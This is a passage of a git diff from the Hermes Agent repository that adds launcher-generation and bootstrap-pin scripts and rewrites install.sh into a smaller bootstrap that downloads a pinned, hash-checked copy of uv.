{{ relPython: string, relSite: string, relRepo: string }} rels + * @returns {string} executable bash text + */ +export function posixTrampolineScript(spec, rels) { + const join = (rel) => ['"$BIN_DIR"', ...rel.split('/')].join('/') + return `#!/usr/bin/env bash +# Generated by scripts/build-bundled-desktop.mjs — the bundled payload's +# POSIX CLI entrypoint (${spec.name}). Fully $0-relative: follows the +# symlink chain so a link out on PATH (~/.local/bin) resolves back into +# the install, then execs the store python with the payload's own import +# roots. Do not edit the generated copy — change the generator. +set -euo pipefail +self="$0" +while [ -L "$self" ]; do + target="$(readlink "$self")" + case "$target" in + /*) self="$target" ;; + *) self="$(dirname "$self")/$target" ;; + esac +done +BIN_DIR="$(cd -- "$(dirname -- "$self")" && pwd)" + +PYTHON=${join(rels.relPython)} +REPO=${join(rels.relRepo)} +SITE=${join(rels.relSite)} + +[ -x "$PYTHON" ] || { + echo "${spec.name}: bundled interpreter missing at $PYTHON — the Hermes install is damaged; reinstall from the website" >&2 + exit 2 +} + +# A sealed payload has no working editable install (its pointer names the +# BUILD machine), so its own import roots REPLACE any inherited PYTHONPATH. +# Repo first — its hermes_cli wins over anything stale in site-packages. +unset PYTHONPATH PYTHONHOME +export PYTHONPATH="$REPO:$SITE" +# Keep __pycache__ writes out of the (possibly read-only) payload. +if [ -z "\${PYTHONPYCACHEPREFIX:-}" ] && [ -n "\${HOME:-}" ]; then + export PYTHONPYCACHEPREFIX="$HOME/.cache/hermes-pycache" +fi + +exec "$PYTHON" -m ${spec.module} "$@" +` +} + +/** + * All three POSIX trampolines. + * @param {{ relPython: string, relSite: string, relRepo: string }} rels + * @returns {{ name: string, text: string }[]} + */ +export function posixTrampolineScripts(rels) { + return CLI_LAUNCHER_SPECS.map((spec) => ({ name: spec.name, text: posixTrampolineScript(spec, rels) })) +} diff --git a/scripts/desktop-cli/launcher-wrapper.py b/scripts/desktop-cli/launcher-wrapper.py new file mode 100644 index 0000000000..0634184229 --- /dev/null +++ b/scripts/desktop-cli/launcher-wrapper.py @@ -0,0 +1,106 @@ +"""Bundled-payload CLI entry wrapper — the distlib launcher's zip overlay. + +scripts/build-bundled-desktop.mjs reads this file, substitutes the four +HERMES_* placeholders (see the constants below), and hands the result to +a distlib ScriptMaker as +the script text. On win32 the minted artifact is a real PE: the distlib +launcher stub + a shebang whose interpreter is the ```` +placeholder form (resolved at runtime relative to the launcher's own +directory) + this script packed as __main__.py in a zip overlay. The +The wrapper replaces everything the old rust shim + its sidecar did +(plan: pm-clean): + + * resolve the launcher's own directory from sys.argv[0] (the distlib + launcher puts its exe path there — the shebang's ```` + placeholder resolves the interpreter the same way), + * put the payload repo snapshot FIRST and the venv site-packages second + on sys.path (same order, same reason as the old shim: the repo's + hermes_cli wins over anything stale in site-packages — the sealed + payload's venv has no working editable install, its pointer names the + BUILD machine), + * drop inherited PYTHONPATH / PYTHONHOME so foreign installs can never + shadow the bundle, + * default sys.pycache_prefix to the user-level cache (%LOCALAPPDATA% + \\hermes\\pycache on win32, ~/.cache/hermes-pycache elsewhere) when the + user has not set one — the sealed payload must never see __pycache__ + writes (signature-breaking on mac, read-only mount on AppImage/MSIX). + +The whole file is import-safe so tests can drive configure()/main() +directly (tests/scripts/test_desktop_cli_wrapper.py). +""" + +import importlib +import os +import sys + +HERMES_ENTRY_MODULE = "__HERMES_ENTRY_MODULE__" +HERMES_ENTRY_FUNC = "__HERMES_ENTRY_FUNC__" +HERMES_REPO_REL = "__HERMES_REPO_REL__" +HERMES_SITE_REL = "__HERMES_SITE_REL__" + + +def _join_rel(here, rel): + """Join a forward-slash relative path (the minted-in convention, same + as the payload manifest) onto a host dir without os.sep assumptions.""" + return os.path.join(here, *rel.split("/")) + + +def launcher_dir(argv0): + """The directory of the launcher itself, from sys.argv[0]. abspath + because cwd is meaningless for a GUI/alias launch.""" + return os.path.dirname(os.path.abspath(argv0)) + + +def payload_sys_paths(here): + """Import roots for the sealed payload: repo first (wins), then the + venv's dependency tree — mirroring the old shim's PYTHONPATH order.""" + return [_join_rel(here, HERMES_REPO_REL), _join_rel(here, HERMES_SITE_REL)] + + +def default_pycache_dir(environ): + """User-level bytecode cache. The sealed payload is read-only at + runtime (or signature-sealed, on mac), so __pycache__ writes must + land outside it. Only consulted when the user has not set their own + PYTHONPYCACHEPREFIX.""" + if sys.platform == "win32": + base = environ.get("LOCALAPPDATA") + return os.path.join(base, "hermes", "pycache") if base else None + base = environ.get("HOME") + return os.path.join(base, ".cache", "hermes-pycache") if base else None + + +def configure(here, environ=None): + """Point THIS process (the minted launcher's python) at the payload. + Returns the sys.path entries prepended, for tests.""" + environ = os.environ if environ is None else environ + # Same hygiene as the old rust shim: an inherited PYTHONPATH could + # shadow bundled modules with foreign ones; PYTHONHOME would repoint + # the stdlib entirely. + environ.pop("PYTHONPATH", None) + environ.pop("PYTHONHOME", None) + entries = payload_sys_paths(here) + sys.path[0:0] = entries + if not environ.get("PYTHONPYCACHEPREFIX"): + default = default_pycache_dir(environ) + if default: + environ["PYTHONPYCACHEPREFIX"] = default + # The env var is only read at interpreter startup; we ARE at + # startup, but setting it in os.environ cannot retro-activate + # it — sys.pycache_prefix is the live switch. + sys.pycache_prefix = default + return entries + + +def main(argv=None): + argv = list(sys.argv if argv is None else argv) + here = launcher_dir(argv[0] if argv else sys.argv[0]) + configure(here) + module = importlib.import_module(HERMES_ENTRY_MODULE) + target = getattr(module, HERMES_ENTRY_FUNC) + # main() reads sys.argv; hand it the real argv (argv[0] stays the + # launcher path, exactly like a console-script entry point). + return target() + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/scripts/desktop-cli/mint-launchers.py b/scripts/desktop-cli/mint-launchers.py new file mode 100644 index 0000000000..4fb5cd4089 --- /dev/null +++ b/scripts/desktop-cli/mint-launchers.py @@ -0,0 +1,112 @@ +"""Mint the bundled payload's win32 CLI launchers with distlib. + +Run by scripts/build-bundled-desktop.mjs (step 5b) with the payload's OWN +store python as the minting interpreter — the store python is the same +distribution the launchers will execute, and its architecture is by +construction the target architecture, which is exactly what distlib's +_get_launcher needs (it picks a 32/64-bit, -arm-suffixed launcher stub by +the MINTING interpreter's platform; cross-arch minting with a mismatched +host python produces launchers that cannot run). + +distlib availability: the payload python ships pip (python-build-standalone +includes it), and pip vendors distlib at pip._vendor.distlib — so the mint +works with NO extra dependency. A top-level distlib install is preferred +when present. (Self-contained .\_pth interpreters were REJECTED as an +alternative approach: they break uv venv materialization.) + +Layout facts arrive via env (build-bundled-desktop forbids whitespace in +win32 argv, so argv is not an option): + + HERMES_MINT_BIN_DIR absolute output dir (agent-payload/bin) + HERMES_MINT_SPECS JSON list of {"name": exe stem, "module": dotted + module, "func": entry function} — mirrors + [project.scripts] in pyproject.toml + HERMES_MINT_WRAPPER path of the RENDERED launcher-wrapper.py for THIS + entry (substitution is cli-entrypoints.mjs's job, + one implementation, one test) + HERMES_MINT_PYTHON bin-relative path of the store python, BACKslashes, + e.g. \..\tools\\python.exe — + baked into the shebang; the literal + prefix is resolved by the launcher at run time + relative to its own directory (relocatability is + live-proved: the placeholder survives minting) + +Testable standalone: tests/scripts/test_mint_launchers.py drives main() +against a temp tree with a stub module and RUNS the minted exe. +""" + +from __future__ import annotations + +import json +import os + +try: # a real distlib install when available + from distlib.scripts import ScriptMaker +except ImportError: # the payload python's guaranteed fallback: pip's vendor + from pip._vendor.distlib.scripts import ScriptMaker + + +def make_maker(bin_dir, shebang_python, wrapper_text): + class MintScriptMaker(ScriptMaker): + # The wrapper text is fully pre-rendered, so ignore the entry the + # spec carried — the name is all we need from it. + def __init__(self, wrapper, **kwargs): + target_dir = kwargs.pop("target_dir") + super().__init__(None, target_dir, **kwargs) + self._wrapper_text = wrapper + + def _get_script_text(self, entry): + return self._wrapper_text + + # The shebang the launcher stub parses: #! + this string. The + # literal is replaced by the launcher with its own + # directory at run time — that IS the self-relative mechanism. + maker = MintScriptMaker( + wrapper_text, + target_dir=bin_dir, + add_launchers=True, + dry_run=False, + ) + maker.executable = shebang_python + return maker + + +def mint_one(bin_dir, shebang_python, wrapper_text, spec): + """Mint one launcher exe; returns its absolute path. distlib also + writes a python-versioned twin (hermes-3.11.exe) — the payload ships + exactly one name per entry, so the twin is removed.""" + maker = make_maker(bin_dir, shebang_python, wrapper_text) + filenames = maker.make(f"{spec['name']} = {spec['module']}:{spec['func']}") + plain = os.path.join(bin_dir, f"{spec['name']}.exe") + if os.path.abspath(plain) not in (os.path.abspath(f) for f in filenames): + raise SystemExit(f"distlib did not write {plain}: {filenames}") + for extra in filenames: + if os.path.abspath(extra) != os.path.abspath(plain): + os.remove(extra) + return plain + + +def main(environ=None): + environ = os.environ if environ is None else environ + bin_dir = environ["HERMES_MINT_BIN_DIR"] + specs = json.loads(environ["HERMES_MINT_SPECS"]) + shebang_python = environ["HERMES_MINT_PYTHON"] + if not os.path.isabs(bin_dir): + raise SystemExit("HERMES_MINT_BIN_DIR must be absolute") + if not shebang_python.startswith("\\..\\"): + raise SystemExit( + "HERMES_MINT_PYTHON must be \\..\\payload-relative " + f"(backslashes), got: {shebang_python}" + ) + os.makedirs(bin_dir, exist_ok=True) + minted = [] + for spec in specs: + # utf-8-sig: tolerate a BOM the JS renderer might prepend. + with open(environ["HERMES_MINT_WRAPPER"], encoding="utf-8-sig") as f: + wrapper_text = f.read() + minted.append(mint_one(bin_dir, shebang_python, wrapper_text, spec)) + return minted + + +if __name__ == "__main__": + print("\n".join(main())) diff --git a/scripts/gen-bootstrap-pins.py b/scripts/gen-bootstrap-pins.py new file mode 100644 index 0000000000..ad19eff982 --- /dev/null +++ b/scripts/gen-bootstrap-pins.py @@ -0,0 +1,203 @@ +#!/usr/bin/env python3 +"""Generate the bootstrap pin fragments inside the installers. + +The installers bootstrap uv (and, on Windows, git) BEFORE any checkout +exists, so they cannot read pm/lock.json at run time: they are fetched +standalone (`curl | sh`, `irm | iex`) and there is no JSON parser they can +rely on that early (no jq guarantee; python is what uv installs on Windows). +Instead, this script derives a plain-data fragment from pm/lock.json — the +SAME authority the pm package manager uses for every managed tool — and +splices it between markers in each installer. The bytes are stored, the +truth is derived, and the drift test (tests/test_bootstrap_pins_fragment.py) +fails when they disagree. + +Run after bumping a bootstrapped tool in pm/lock.json: + + python3 scripts/gen-bootstrap-pins.py # rewrite fragments + python3 scripts/gen-bootstrap-pins.py --check # exit 1 on drift +""" + +from __future__ import annotations + +import argparse +import json +import sys +from pathlib import Path + +REPO_ROOT = Path(__file__).resolve().parents[1] +PINS_PATH = REPO_ROOT / "pm" / "lock.json" + +BEGIN_MARK = "# --- BEGIN GENERATED: bootstrap pins (scripts/gen-bootstrap-pins.py) ---" +END_MARK = "# --- END GENERATED: bootstrap pins ---" + +_POSIX_TARGETS = ("linux-x64", "linux-arm64", "darwin-x64", "darwin-arm64") +_WINDOWS_TARGETS = ("win32-x64", "win32-arm64") + + +def _load_lock() -> dict: + return json.loads(PINS_PATH.read_text(encoding="utf-8-sig")) + + +def _load_uv_pin() -> dict: + entry = _load_lock()["packages"]["uv"] + for target in _POSIX_TARGETS + _WINDOWS_TARGETS: + _validate_artifact("uv", entry, target) + return entry + + +def _load_git_pin() -> dict: + # Windows targets only. install.ps1 bootstraps the pinned git-for-windows + # artifact because Windows needs it to clone. macOS and Linux use the + # machine's git, so the pin table declares those targets as reasoned gaps + # and there is nothing for the sh installers to stage. + entry = _load_lock()["packages"]["git"] + for target in _WINDOWS_TARGETS: + _validate_artifact("git", entry, target) + return entry + + +def _validate_artifact(tool: str, entry: dict, target: str) -> None: + spec = entry["artifacts"][target] # KeyError on a missing target is the point + if spec.get("missing"): + # The table says upstream ships nothing here, but this generator was + # told to emit that target. One of the two is wrong, and a KeyError + # further down would not say which. + raise ValueError( + f"{tool} pin for {target}: the table declares a gap " + f"({spec['missing']}), so there is nothing to generate" + ) + if not spec["url"].startswith("https://"): + raise ValueError(f"{tool} pin for {target}: url must be https") + if len(spec["sha256"]) != 64: + raise ValueError(f"{tool} pin for {target}: sha256 must be 64 hex chars") + + +def _sh_fragment(uv: dict) -> str: + lines = [ + BEGIN_MARK, + "# Derived from pm/lock.json. DO NOT EDIT BY HAND:", + "# run scripts/gen-bootstrap-pins.py after a pin bump.", + f'UV_PIN_VERSION="{uv["version"]}"', + "", + "# Sets UV_PIN_URL + UV_PIN_SHA256 for a - target key.", + "uv_bootstrap_pin() {", + ' case "$1" in', + ] + for target in _POSIX_TARGETS: + entry = uv["artifacts"][target] + lines += [ + f" {target})", + f' UV_PIN_URL="{entry["url"]}"', + f' UV_PIN_SHA256="{entry["sha256"]}"', + " ;;", + ] + lines += [ + " *)", + ' UV_PIN_URL=""', + ' UV_PIN_SHA256=""', + " return 1", + " ;;", + " esac", + "}", + END_MARK, + ] + return "\n".join(lines) + + +def _ps1_fragment(uv: dict, git: dict) -> str: + lines = [ + BEGIN_MARK, + "# Derived from pm/lock.json. DO NOT EDIT BY HAND:", + "# run scripts/gen-bootstrap-pins.py after a pin bump.", + f'$script:UvPinVersion = "{uv["version"]}"', + "$script:UvPinFiles = @{", + ] + for target in _WINDOWS_TARGETS: + entry = uv["artifacts"][target] + lines += [ + f' "{target}" = @{{', + f' Url = "{entry["url"]}"', + f' Sha256 = "{entry["sha256"]}"', + " }", + ] + lines += [ + "}", + "", + f'$script:GitPinVersion = "{git["version"]}"', + "$script:GitPinFiles = @{", + ] + for target in _WINDOWS_TARGETS: + entry = git["artifacts"][target] + lines += [ + f' "{target}" = @{{', + f' Url = "{entry["url"]}"', + f' Sha256 = "{entry["sha256"]}"', + " }", + ] + lines += [ + "}", + END_MARK, + ] + return "\n".join(lines) + + +def _splice(path: Path, fragment: str, check: bool) -> bool: + """Replace the marked block in *path*. Returns True when up to date.""" + raw = path.read_bytes() + had_bom = raw.startswith(b"\xef\xbb\xbf") + text = raw.decode("utf-8-sig") + begin = text.index(BEGIN_MARK) # ValueError on missing marker is the point + end = text.index(END_MARK) + len(END_MARK) + # Match the file's line endings (install.ps1 is CRLF) so the generated + # block does not leave the script with mixed newlines. + newline = "\r\n" if "\r\n" in text else "\n" + fragment = fragment.replace("\n", newline) + updated = text[:begin] + fragment + text[end:] + if updated == text: + return True + if not check: + path.write_bytes((b"\xef\xbb\xbf" if had_bom else b"") + updated.encode("utf-8")) + return False + + +def main() -> int: + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument( + "--check", + action="store_true", + help="exit 1 when the committed fragments drift from pm/lock.json", + ) + args = parser.parse_args() + + uv = _load_uv_pin() + git = _load_git_pin() + results = { + "scripts/install.sh": _splice( + REPO_ROOT / "scripts" / "install.sh", _sh_fragment(uv), args.check + ), + "scripts/install.ps1": _splice( + REPO_ROOT / "scripts" / "install.ps1", _ps1_fragment(uv, git), args.check + ), + # setup-hermes.sh deliberately holds NO fragment: it runs after a + # checkout exists, so it reads the pin straight from pm/lock.json + # at run time (the pm.sh-derived bootstrap). The fragment exists + # only for the curl|sh / irm|iex installers that bootstrap BEFORE + # any checkout exists. + } + stale = [name for name, fresh in results.items() if not fresh] + if args.check and stale: + print( + "bootstrap pin fragments drifted from pm/lock.json in: " + f"{', '.join(stale)}\nrun: python3 scripts/gen-bootstrap-pins.py", + file=sys.stderr, + ) + return 1 + for name in stale: + print(f"updated {name}") + if not stale: + print("fragments up to date") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/scripts/install.sh b/scripts/install.sh index c1e73f1d26..249f750a80 100755 --- a/scripts/install.sh +++ b/scripts/install.sh @@ -1,3678 +1,370 @@ -#!/bin/bash -# ============================================================================ -# Hermes Agent Installer -# ============================================================================ -# Installation script for Linux, macOS, and Android/Termux. -# Uses uv for desktop/server installs and Python's stdlib venv + pip on Termux. -# -# Usage: -# curl -fsSL https://hermes-agent.nousresearch.com/install.sh | bash -# -# Or with options: -# curl -fsSL ... | bash -s -- --no-venv --skip-setup -# -# ============================================================================ +#!/usr/bin/env bash +# Hermes Agent bootstrap: git checkout + venv + hermes command on PATH. +# Heavy dependencies (tool binaries, browsers, node) are pm's job after +# this: `hermes pm install`. Stage protocol kept for Hermes-Setup: +# --manifest print the stage list as JSON +# --stage NAME [--json] run one stage +# --non-interactive skip stages that need input +# --include-desktop add the desktop build stage +set -u -set -e - -# Guard against environment leakage when the installer is launched from another -# Python-driven tool session (e.g. Hermes terminal tool). A pre-set PYTHONPATH -# can force pip/entrypoints to import a different checkout than the one being -# installed, which makes fresh installs appear broken or stale. -if [ -n "${PYTHONPATH:-}" ]; then - echo "⚠ Ignoring inherited PYTHONPATH during install to avoid module shadowing" - unset PYTHONPATH -fi -if [ -n "${PYTHONHOME:-}" ]; then - echo "⚠ Ignoring inherited PYTHONHOME during install" - unset PYTHONHOME -fi - -# Prevent uv from discovering config files (uv.toml, pyproject.toml) from the -# wrong user's home directory when running under sudo -u . See #21269. -export UV_NO_CONFIG=1 - -# Colors -RED='\033[0;31m' -GREEN='\033[0;32m' -YELLOW='\033[0;33m' -BLUE='\033[0;34m' -MAGENTA='\033[0;35m' -CYAN='\033[0;36m' -NC='\033[0m' # No Color -BOLD='\033[1m' - -# Configuration -REPO_URL_SSH="git@github.com:NousResearch/hermes-agent.git" -REPO_URL_HTTPS="https://github.com/NousResearch/hermes-agent.git" -HERMES_HOME="${HERMES_HOME:-$HOME/.hermes}" -# INSTALL_DIR is resolved AFTER arg parsing and OS detection so we can pick an -# FHS-style layout for root installs. Track whether the user gave us an -# explicit directory — if so we never override it. -if [ -n "${HERMES_INSTALL_DIR:-}" ]; then - INSTALL_DIR="$HERMES_INSTALL_DIR" - INSTALL_DIR_EXPLICIT=true -else - INSTALL_DIR="" - INSTALL_DIR_EXPLICIT=false -fi -PYTHON_VERSION="3.11" -NODE_VERSION="26" - -# FHS-style root install layout (set by resolve_install_layout when applicable): -# code at /usr/local/lib/hermes-agent, command at /usr/local/bin/hermes, -# data still at /root/.hermes (HERMES_HOME). Matches Claude Code / Codex CLI -# and keeps Docker bind-mounted /root/ volumes lean. -ROOT_FHS_LAYOUT=false -DETECTED_BROWSER_EXECUTABLE="" - -# Options -USE_VENV=true -RUN_SETUP=true -SKIP_BROWSER=false -SKIP_COMPUTER_USE=false -NO_SKILLS=false +REPO_URL="${HERMES_REPO_URL:-https://github.com/NousResearch/hermes-agent.git}" BRANCH="main" INSTALL_COMMIT="" -FORCE_COMMIT=false -ENSURE_DEPS="" - -MANIFEST_MODE=false -STAGE_NAME="" -JSON_OUTPUT=false +INSTALL_DIR="${HERMES_INSTALL_DIR:-$HOME/.hermes/hermes-agent}" +HERMES_HOME="${HERMES_HOME:-$HOME/.hermes}" +STAGE="" +WANT_MANIFEST=false +JSON=false NON_INTERACTIVE=false INCLUDE_DESKTOP=false -# Detect non-interactive mode (e.g. curl | bash) -# When stdin is not a terminal, read -p will fail with EOF, -# causing set -e to silently abort the entire script. -if [ -t 0 ]; then - IS_INTERACTIVE=true -else - IS_INTERACTIVE=false -fi - -# Parse arguments -while [[ $# -gt 0 ]]; do - case $1 in - --no-venv) - USE_VENV=false - shift - ;; - --skip-setup) - RUN_SETUP=false - shift - ;; - --skip-browser|--no-playwright) - SKIP_BROWSER=true - shift - ;; - --skip-computer-use) - SKIP_COMPUTER_USE=true - shift - ;; - --no-skills) - NO_SKILLS=true - shift - ;; - --branch|-Branch) - BRANCH="$2" - shift 2 - ;; - --commit|-Commit) - INSTALL_COMMIT="$2" - shift 2 - ;; - --force-commit|-ForceCommit) - FORCE_COMMIT=true - shift - ;; - --manifest|-Manifest) - MANIFEST_MODE=true - shift - ;; - --stage|-Stage) - STAGE_NAME="$2" - shift 2 - ;; - --json|-Json) - JSON_OUTPUT=true - shift - ;; - --non-interactive|-NonInteractive) - NON_INTERACTIVE=true - shift - ;; - --include-desktop|-IncludeDesktop) - INCLUDE_DESKTOP=true - shift - ;; - --dir) - INSTALL_DIR="$2" - INSTALL_DIR_EXPLICIT=true - shift 2 - ;; - --hermes-home) - HERMES_HOME="$2" - shift 2 - ;; - --ensure) - ENSURE_DEPS="$2" - shift 2 - ;; - +while [ $# -gt 0 ]; do + case "$1" in + --branch|-Branch) BRANCH="$2"; shift 2 ;; + --commit|-Commit) INSTALL_COMMIT="$2"; shift 2 ;; + --dir) INSTALL_DIR="$2"; shift 2 ;; + --manifest|-Manifest) WANT_MANIFEST=true; shift ;; + --stage|-Stage) STAGE="$2"; shift 2 ;; + --json|-Json) JSON=true; shift ;; + --non-interactive|-NonInteractive) NON_INTERACTIVE=true; shift ;; + --skip-setup|--skip-browser) NON_INTERACTIVE=true; shift ;; + --include-desktop|-IncludeDesktop) INCLUDE_DESKTOP=true; shift ;; -h|--help) - echo "Hermes Agent Installer" - echo "" - echo "Usage: install.sh [OPTIONS]" - echo "" - echo "Options:" - echo " --no-venv Don't create virtual environment" - echo " --skip-setup Skip interactive setup wizard" - echo " --skip-browser Skip Playwright/Chromium install (browser tools won't work)" - echo " --skip-computer-use Skip the cua-driver (Computer Use) install" - echo " --no-skills Start with a blank slate — seed no bundled skills, and" - echo " write \$HERMES_HOME/.no-bundled-skills so future" - echo " 'hermes update' runs never inject bundled skills either" - echo " --branch NAME Git branch to install (default: main)" - echo " --commit SHA Pin checkout to a specific commit after clone/update" - echo " (ignored when it would roll an existing install back)" - echo " --force-commit Apply --commit even if it rolls the install backwards" - echo " --manifest Print desktop bootstrap stage manifest as JSON" - echo " --stage NAME Run one desktop bootstrap stage" - echo " --json Print a JSON result frame for --stage" - echo " --non-interactive Skip stages that require user input" - echo " --include-desktop Also build the desktop app (apps/desktop -> Hermes.app)" - echo " --dir PATH Installation directory" - echo " default (non-root): ~/.hermes/hermes-agent" - echo " default (root, Linux): /usr/local/lib/hermes-agent" - echo " --hermes-home PATH Data directory (default: ~/.hermes, or \$HERMES_HOME)" - echo " -h, --help Show this help" - echo "" - echo "Notes:" - echo " When running as root on Linux, Hermes installs the code under" - echo " /usr/local/lib/hermes-agent and links the command into" - echo " /usr/local/bin/hermes (FHS layout — matches Claude Code / Codex CLI)." - echo " Data, config, sessions, and logs still live in \$HERMES_HOME" - echo " (default /root/.hermes). This keeps Docker bind-mounted volumes" - echo " small and ensures the command is on PATH for all shells." - echo " Existing installs at \$HERMES_HOME/hermes-agent are preserved in-place." - echo " --ensure DEPS Install only specified deps (comma-separated)" - echo " Supported: node, browser, ripgrep, ffmpeg" - echo " Does NOT clone repo or create venv" - - exit 0 - ;; - *) - echo "Unknown option: $1" - exit 1 - ;; + echo "Usage: install.sh [--branch NAME] [--commit SHA] [--dir PATH]" + echo " [--manifest] [--stage NAME] [--json]" + echo " [--non-interactive] [--include-desktop]" + exit 0 ;; + *) echo "unknown option: $1" >&2; exit 1 ;; esac done -# ============================================================================ -# Helper functions -# ============================================================================ +log() { printf "\033[1;34m[hermes]\033[0m %s\n" "$1"; } +fail() { printf "\033[1;31m[hermes]\033[0m %s\n" "$1" >&2; exit 1; } -print_banner() { - echo "" - echo -e "${MAGENTA}${BOLD}" - echo "┌─────────────────────────────────────────────────────────┐" - echo "│ ⚕ Hermes Agent Installer │" - echo "├─────────────────────────────────────────────────────────┤" - echo "│ An open source AI agent by Nous Research. │" - echo "└─────────────────────────────────────────────────────────┘" - echo -e "${NC}" +# --- BEGIN GENERATED: bootstrap pins (scripts/gen-bootstrap-pins.py) --- +# Derived from pm/lock.json. DO NOT EDIT BY HAND: +# run scripts/gen-bootstrap-pins.py after a pin bump. +UV_PIN_VERSION="0.12.3" + +# Sets UV_PIN_URL + UV_PIN_SHA256 for a - target key. +uv_bootstrap_pin() { + case "$1" in + linux-x64) + UV_PIN_URL="https://github.com/astral-sh/uv/releases/download/0.12.3/uv-x86_64-unknown-linux-gnu.tar.gz" + UV_PIN_SHA256="600cf9a742aca00d292673b16b5acffaa7b8c269a364ad0c2e79498dcb1fe101" + ;; + linux-arm64) + UV_PIN_URL="https://github.com/astral-sh/uv/releases/download/0.12.3/uv-aarch64-unknown-linux-gnu.tar.gz" + UV_PIN_SHA256="bb66cb52e7b1823aed1183630d8d8e5c958840d584a4c55ec10a4cfc168dcca2" + ;; + darwin-x64) + UV_PIN_URL="https://github.com/astral-sh/uv/releases/download/0.12.3/uv-x86_64-apple-darwin.tar.gz" + UV_PIN_SHA256="4c9f52262a14da336e4a42ed24992d12d0c956acde87619e4611d321dffa602b" + ;; + darwin-arm64) + UV_PIN_URL="https://github.com/astral-sh/uv/releases/download/0.12.3/uv-aarch64-apple-darwin.tar.gz" + UV_PIN_SHA256="546f7f8a6c70ff13a3a9d2bc958db3427298cebf3e0cb756f9177133b7068843" + ;; + *) + UV_PIN_URL="" + UV_PIN_SHA256="" + return 1 + ;; + esac +} +# --- END GENERATED: bootstrap pins --- + +uv_bootstrap_target() { + # Map this host to a pm/lock.json target key (-). + local _arch + case "$(uname -m)" in + arm64|aarch64) _arch="arm64" ;; + x86_64|amd64) _arch="x64" ;; + *) return 1 ;; + esac + case "$(uname -s)" in + Linux) echo "linux-$_arch" ;; + Darwin) echo "darwin-$_arch" ;; + *) return 1 ;; + esac } -log_info() { - echo -e "${CYAN}→${NC} $1" +# Provision uv for this host from the pinned pm/lock.json artifact. Stages +# the EXACT artifact pm itself uses into the same store slot +# (~/.hermes/tools/uv--/), sha256-verified, so the byte +# authority is pm/lock.json - no astral-latest, no curl|sh. +UV_CMD="" +ensure_uv() { + [ -n "$UV_CMD" ] && return 0 + if command -v uv >/dev/null 2>&1; then + # Developer shortcut: an existing uv on PATH is fine to use; this + # branch fetches nothing. + UV_CMD="uv" + return 0 + fi + local _target + if ! _target="$(uv_bootstrap_target)"; then + fail "no pinned uv build for this platform ($(uname -s) $(uname -m)); install uv manually: https://docs.astral.sh/uv/" + fi + if ! uv_bootstrap_pin "$_target"; then + fail "no pinned uv artifact for $_target; install uv manually: https://docs.astral.sh/uv/" + fi + local _store="${HERMES_RUNTIME_DIR:-$HOME/.hermes/tools}" + local _entry="$_store/uv-$UV_PIN_VERSION-$_target" + UV_CMD="$_entry/uv" + if [ ! -x "$UV_CMD" ]; then + log "staging pinned uv $UV_PIN_VERSION ($_target) into the pm store" + local _tmp + _tmp="$(mktemp -d 2>/dev/null || echo "/tmp/hermes-uv-bootstrap.$$")" + mkdir -p "$_tmp" + if ! curl -LsSf "$UV_PIN_URL" -o "$_tmp/uv.tar.gz"; then + rm -rf "$_tmp" + fail "failed to download pinned uv from $UV_PIN_URL" + fi + local _digest + if command -v sha256sum >/dev/null 2>&1; then + _digest="$(sha256sum "$_tmp/uv.tar.gz" | cut -d' ' -f1)" + else + _digest="$(shasum -a 256 "$_tmp/uv.tar.gz" | cut -d' ' -f1)" + fi + if [ "$_digest" != "$UV_PIN_SHA256" ]; then + rm -rf "$_tmp" + fail "uv download digest mismatch (expected $UV_PIN_SHA256, got $_digest)" + fi + if ! tar -xzf "$_tmp/uv.tar.gz" -C "$_tmp"; then + rm -rf "$_tmp" + fail "failed to extract pinned uv archive" + fi + local _unpacked + _unpacked="$(find "$_tmp" -mindepth 1 -maxdepth 2 -name uv -type f | head -n1)" + if [ -z "$_unpacked" ]; then + rm -rf "$_tmp" + fail "uv binary not found in the downloaded archive" + fi + mkdir -p "$_entry" + mv "$_unpacked" "$UV_CMD" + [ -f "$(dirname "$_unpacked")/uvx" ] && mv "$(dirname "$_unpacked")/uvx" "$_entry/uvx" + chmod +x "$UV_CMD" + chmod +x "$_entry/uvx" 2>/dev/null || true + rm -rf "$_tmp" + fi + # Make the staged (or found) uv available to bare `uv` invocations. + export PATH="$(dirname "$UV_CMD"):$PATH" + if ! "$UV_CMD" --version >/dev/null 2>&1; then + fail "pinned uv staged but does not run on this host" + fi + log "uv ready ($("$UV_CMD" --version 2>/dev/null))" } -log_success() { - echo -e "${GREEN}✓${NC} $1" +check_platform() { + case "$(uname -s 2>/dev/null)" in + Linux*) : ;; + Darwin*) : ;; + *) fail "unsupported platform: $(uname -s). On Windows use install.ps1." ;; + esac } -log_warn() { - echo -e "${YELLOW}⚠${NC} $1" -} - -log_error() { - echo -e "${RED}✗${NC} $1" -} - -json_escape() { - # Enough for short installer status strings; avoids requiring jq during - # pre-install bootstrap. - printf '%s' "$1" | tr '\n' ' ' | sed \ - -e 's/\\/\\\\/g' \ - -e 's/"/\\"/g' -} - -# npm rewrites tracked package-lock.json files non-deterministically during -# `npm install` / `npm run pack`. On a managed install those diffs are never -# intentional, but they leave the checkout dirty — which forces `hermes update` -# to autostash on every run and makes branch switches fragile. Restore them so -# a fresh install ends with a clean tree. Best-effort; only touches lockfiles. -restore_dirty_lockfiles() { - local repo="${1:-$INSTALL_DIR}" - [ -n "$repo" ] && [ -d "$repo/.git" ] || return 0 - command -v git >/dev/null 2>&1 || return 0 - local dirty - dirty=$(git -C "$repo" diff --name-only 2>/dev/null | grep 'package-lock\.json$' || true) - [ -z "$dirty" ] && return 0 - echo "$dirty" | while IFS= read -r f; do - [ -n "$f" ] && git -C "$repo" checkout -- "$f" 2>/dev/null || true - done -} - -# npm rewrites tracked package-lock.json files non-deterministically during -# local builds. On a managed install those diffs are usually runtime churn, not -# intentional user edits, so discard them before the repository-stage stash. -# If package.json in the same directory is also dirty we keep both changes. -discard_update_lockfile_churn() { - local repo="${1:-$INSTALL_DIR}" - [ -n "$repo" ] && [ -d "$repo/.git" ] || return 0 - command -v git >/dev/null 2>&1 || return 0 - - local dirty_diff - dirty_diff=$(git -C "$repo" diff --name-only 2>/dev/null) || return 0 - [ -n "$dirty_diff" ] || return 0 - - local dirty_package_dirs="" - while IFS= read -r path; do - case "$path" in - *package.json) - dirty_package_dirs="${dirty_package_dirs}$(dirname "$path")"$'\n' - ;; - esac - done </dev/null || true - done </dev/null 2>&1 || fail "git is required. Install it with your system package manager." + command -v curl >/dev/null 2>&1 || fail "curl is required. Install it with your system package 